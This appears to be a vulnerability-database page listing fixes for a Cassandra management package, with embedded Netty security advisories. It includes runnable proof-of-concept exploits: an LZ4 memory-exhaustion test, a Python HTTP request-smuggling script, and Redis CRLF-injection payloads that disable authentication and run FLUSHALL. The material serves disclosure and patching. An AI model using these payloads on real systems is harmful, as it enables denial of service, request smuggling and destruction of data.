Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package management-api-for-apache-cassandra-5.0 version 0.1.118-r2 fixes 26 vulnerabilities: CVE-2026-42583, CVE-2026-42579, CVE-2026-33870, CVE-2026-42584, CVE-2026-42587...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "management-api-for-apache-cassandra-5.0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.118-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.118-r2"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package management-api-for-apache-cassandra-5.0 version 0.1.118-r2 fixes 26 vulnerabilities: CVE-2026-42583, CVE-2026-42579, CVE-2026-33870, CVE-2026-42584, CVE-2026-42587...",
"id": "CLEANSTART-2026-IW72112",
"modified": "2026-07-30T09:35:12Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/k8ssandra/management-api-for-apache-cassandra"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in management-api-for-apache-cassandra-5.0 0.1.118-r2",
"upstream": [
"CVE-2026-42583",
"CVE-2026-42579",
"CVE-2026-33870",
"CVE-2026-42584",
"CVE-2026-42587",
"CVE-2026-41417",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42585",
"CVE-2026-33871",
"CVE-2026-44248",
"CVE-2026-42586",
"CVE-2026-42578",
"ghsa-w9fj-cfpg-grvv",
"ghsa-cm33-6792-r9fm",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-57rv-r2g8-2cj3",
"ghsa-v8h7-rr48-vmmv",
"ghsa-jfg9-48mv-9qgx",
"ghsa-m4cv-j2px-7723",
"ghsa-xxqh-mfjm-7mv9",
"ghsa-38f8-5428-x5cv",
"ghsa-rgrr-p7gp-5xj7",
"ghsa-45q3-82m4-75jr"
]
}
GHSA-MJ4R-2HFC-F8P6
Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42583"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:20:35Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n @Test\n void test() throws Exception {\n EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n CountDownLatch latch = new CountDownLatch(1);\n\n ServerBootstrap server = new ServerBootstrap()\n .group(workerGroup)\n .channel(NioServerSocketChannel.class)\n .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline()\n .addLast(new Lz4FrameDecoder())\n .addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n if (cause instanceof DecoderException) {\n serverError.set(cause.getCause());\n } else {\n serverError.set(cause);\n }\n latch.countDown();\n }\n });\n }\n });\n\n ChannelFuture serverChannel = server.bind(0).sync();\n\n Bootstrap client = new Bootstrap()\n .group(workerGroup)\n .channel(NioSocketChannel.class)\n .handler(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelActive(ChannelHandlerContext ctx) {\n ByteBuf buf = ctx.alloc().buffer(22, 22);\n buf.writeLong(MAGIC_NUMBER);\n buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n buf.writeIntLE(1);\n buf.writeIntLE(1 \u003c\u003c 25);\n buf.writeIntLE(0);\n buf.writeByte(0);\n\n ctx.writeAndFlush(buf);\n\n ctx.fireChannelActive();\n }\n });\n\n ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n clientChannel.channel().close();\n serverChannel.channel().close();\n } finally {\n workerGroup.shutdownGracefully();\n }\n }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
"id": "GHSA-mj4r-2hfc-f8p6",
"modified": "2026-05-14T20:41:13Z",
"published": "2026-05-07T00:20:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}
GHSA-PWQR-WMGM-9RR8
Vulnerability from github – Published: 2026-03-26 18:48 – Updated: 2026-03-27 21:49Summary
Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:
The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.
Technical Details
RFC 9110 Section 7.1.1 defines chunked transfer encoding:
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string:
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
Critically, the allowed character ranges within a quoted-string are:
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).
Vulnerability
Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.
Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.
Actual behavior (Netty):
Chunk: 1;a="value
^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request
The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.
Proof of Concept
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.
Parsing Breakdown
| Parser | Request 1 | Request 2 |
|---|---|---|
| Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) |
| RFC-compliant parser | 400 Bad Request | (none — malformed request rejected) |
Impact
- Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
- Cache Poisoning: Smuggled responses may poison shared caches.
- Access Control Bypass: Smuggled requests can circumvent frontend security controls.
- Session Hijacking: Smuggled requests may intercept responses intended for other users.
Reproduction
- Start the minimal proof-of-concept environment using the provided Docker configuration.
- Execute the proof-of-concept script included in the attached archive.
Suggested Fix
The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:
1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
a. For each byte before the terminating CRLF:
- If CR (%x0D) or LF (%x0A) is encountered outside the
final terminating CRLF, reject the request with 400 Bad Request.
b. If the extension value begins with DQUOTE, validate that all
enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
outside any quoted-string context and contains no preceding
illegal bytes.
Acknowledgments
Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.
Resources
Attachments
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.10.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33870"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:48:55Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003chttps://w4ke.info/2025/06/18/funky-chunks.html\u003e\n- \u003chttps://w4ke.info/2025/10/29/funky-chunks-2.html\u003e\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions\u2014whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n b\"POST / HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Transfer-Encoding: chunked\\r\\n\"\n b\"\\r\\n\"\n b\u00271;a=\"\\r\\n\u0027\n b\"X\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n b\"GET /smuggled HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Content-Length: 11\\r\\n\"\n b\"\\r\\n\"\n b\u0027\"\\r\\n\u0027\n b\"Y\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n try:\n chunk = sock.recv(4096)\n if not chunk:\n break\n response += chunk\n except socket.timeout:\n break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED) |\n| RFC-compliant parser | 400 Bad Request | (none \u2014 malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If \u0027;\u0027 is encountered, begin parsing extensions:\n a. For each byte before the terminating CRLF:\n - If CR (%x0D) or LF (%x0A) is encountered outside the\n final terminating CRLF, reject the request with 400 Bad Request.\n b. If the extension value begins with DQUOTE, validate that all\n enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n outside any quoted-string context and contains no preceding\n illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
"id": "GHSA-pwqr-wmgm-9rr8",
"modified": "2026-03-27T21:49:43Z",
"published": "2026-03-26T18:48:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/10/29/funky-chunks-2.html"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc9110"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}
GHSA-RGRR-P7GP-5XJ7
Vulnerability from github – Published: 2026-05-07 00:24 – Updated: 2026-05-14 20:41Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-redis) |
| Component | io.netty.handler.codec.redis.RedisEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |
| Impact | Redis Command Injection / Response Poisoning |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | None |
2. Affected Components
The following classes in the codec-redis module are affected:
io.netty.handler.codec.redis.RedisEncoder(encoder - no output validation)io.netty.handler.codec.redis.InlineCommandRedisMessage(no input validation)io.netty.handler.codec.redis.SimpleStringRedisMessage(no input validation)io.netty.handler.codec.redis.ErrorRedisMessage(no input validation)io.netty.handler.codec.redis.AbstractStringRedisMessage(base class - no validation)
3. Vulnerability Description
The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.
Root Cause
In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
String content, List<Object> out) {
ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
RedisConstants.EOL_LENGTH);
type.writeTo(buf);
ByteBufUtil.writeUtf8(buf, content); // <-- NO CRLF VALIDATION
buf.writeShort(RedisConstants.EOL_SHORT); // <-- Appends \r\n
out.add(buf);
}
The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:
// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
this.content = ObjectUtil.checkNotNull(content, "content");
// NO CRLF validation
}
Comparison with Similar Fixed CVEs
This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:
| CVE | Component | Fix |
|---|---|---|
| GHSA-jq43-27x9-3v86 | SmtpRequestEncoder - SMTP command injection | Added SmtpUtils.validateSMTPParameters() to check for \r and \n |
| GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder - CRLF in URI | Added HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP |
The Redis codec has no equivalent validation in either the encoder or the message constructors.
4. Exploitability Prerequisites
This vulnerability is exploitable when all of the following conditions are met:
- The application uses Netty's
codec-redismodule to communicate with a Redis server - User-controlled input is placed into
InlineCommandRedisMessage,SimpleStringRedisMessage, orErrorRedisMessagecontent - The application does not perform its own CRLF sanitization before constructing these message objects
Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.
Affected use cases include:
- Custom Redis clients or proxies that use InlineCommandRedisMessage for simplicity
- Redis middleware/proxy layers that forward SimpleStringRedisMessage or ErrorRedisMessage responses
- Applications that construct Redis monitoring or diagnostic commands from user input
- Redis Sentinel or Cluster management tools using inline command format
5. Attack Scenarios
Scenario 1: Redis Command Injection via Inline Commands
When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:
// Application code that builds Redis commands from user input
String userKey = request.getParameter("key"); // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);
Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"
Result: Three commands sent to Redis:
1. GET foo
2. CONFIG SET requirepass "" (removes authentication!)
3. FLUSHALL (deletes all data!)
Scenario 2: Redis Response Poisoning
When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:
// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);
Malicious upstream response: "OK\r\n$6\r\nhacked"
Client sees:
1. Simple String: +OK (expected response)
2. Bulk String: $6\r\nhacked (injected fake data!)
Scenario 3: Error Message Injection
ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);
Attack input: errorDetail = "unknown\r\n+FAKE_SUCCESS"
Client sees:
1. Error: -ERR unknown
2. Simple String: +FAKE_SUCCESS (injected fake success!)
6. Proof of Concept
Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;
import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;
/**
* PoC: Redis Encoder CRLF Injection Vulnerability
*
* Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
* and ErrorRedisMessage do not validate content for CRLF characters,
* allowing Redis command injection via the RESP protocol.
*/
public class RedisEncoderCRLFInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");
testInlineCommandInjection();
testSimpleStringInjection();
testErrorMessageInjection();
System.out.println("\n=== PoC Complete ===");
}
/**
* Test 1: Inline Command Injection
* An attacker-controlled string injected into InlineCommandRedisMessage
* results in multiple Redis commands being sent.
*/
static void testInlineCommandInjection() {
System.out.println("[TEST 1] Inline Command CRLF Injection");
System.out.println("----------------------------------------");
// Malicious content: inject FLUSHALL after a benign PING
String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
// This should be rejected but is accepted
InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: InlineCommandRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// Count how many CRLF-delimited commands are in the output
String[] commands = encoded.split("\r\n");
System.out.println("Number of commands parsed by Redis: " + commands.length);
for (int i = 0; i < commands.length; i++) {
if (!commands[i].isEmpty()) {
System.out.println(" Command " + (i + 1) + ": " + commands[i]);
}
}
boolean vulnerable = commands.length > 1;
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
System.out.println();
}
/**
* Test 2: SimpleString Response Injection
* When Netty acts as a Redis proxy/middleware, a malicious SimpleString
* can inject fake responses to the downstream client.
*/
static void testSimpleStringInjection() {
System.out.println("[TEST 2] SimpleString Response CRLF Injection");
System.out.println("----------------------------------------------");
// Malicious content: inject a fake bulk string response after OK
String maliciousContent = "OK\r\n$6\r\nhacked";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: SimpleStringRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// The RESP protocol uses the first byte to determine type:
// '+' = Simple String, '$' = Bulk String
// A client parsing this would see:
// 1. "+OK\r\n" -> Simple String "OK"
// 2. "$6\r\nhacked" -> Bulk String "hacked" (injected!)
boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
System.out.println();
}
/**
* Test 3: Error Message Injection
* Similar to SimpleString but with error messages.
*/
static void testErrorMessageInjection() {
System.out.println("[TEST 3] Error Message CRLF Injection");
System.out.println("--------------------------------------");
String maliciousContent = "ERR unknown\r\n+INJECTED_OK";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: ErrorRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
System.out.println();
}
}
How to Compile and Run
# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
-Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
-Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty Redis Encoder CRLF Injection PoC ===
[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input: InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
Command 1: PING
Command 2: CONFIG SET requirepass ""
Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!
[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input: SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!
[TEST 3] Error Message CRLF Injection
--------------------------------------
Input: ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!
=== PoC Complete ===
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Confidentiality | HIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS * to enumerate all data |
| Integrity | HIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration |
| Availability | Can be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS |
| Authentication Bypass | CONFIG SET requirepass "" removes authentication |
